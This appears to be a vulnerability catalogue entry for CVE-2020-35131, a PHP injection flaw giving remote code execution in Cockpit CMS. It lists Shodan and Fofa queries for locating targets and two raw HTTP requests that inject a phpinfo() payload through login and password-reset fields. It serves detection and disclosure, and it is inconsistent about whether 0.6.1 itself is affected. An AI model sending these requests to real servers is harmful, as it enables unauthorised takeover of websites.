| Title | Cockpit CMS 0.6.1 - Remote Code Execution |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Unauthenticated attackers can inject custom PHP code to achieve remote command execution, leading to complete Cockpit CMS compromise. |
| Remediation | Upgrade to Cockpit CMS version 0.6.1 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91149 |
| CVE ID | CVE-2020-35131 |
| CWE ID | CWE-94 |
| Shodan Query | http.html:"cockpit" |
| Fofa Query | app="Cockpit" |
| Tags | cve cve2020 rce cockpit vkev vuln |
Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php, as demonstrated by values in JSON data to the /auth/check or /auth/requestreset URI.
POST /auth/check HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.19
Connection: close
Content-Length: 57
Content-Type: application/json; charset=UTF-8
Origin: http://www.victim.com
Accept-Encoding: gzip
{"auth":{"user":"mZUZE'.phpinfo().'","password":"gytCc"}}
POST /auth/requestreset HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/14.0
Connection: close
Content-Length: 29
Content-Type: application/json; charset=UTF-8
Origin: http://www.victim.com
Accept-Encoding: gzip
{"user":"mZUZE'.phpinfo().'"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35131.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-35131.pcap
N/AN/A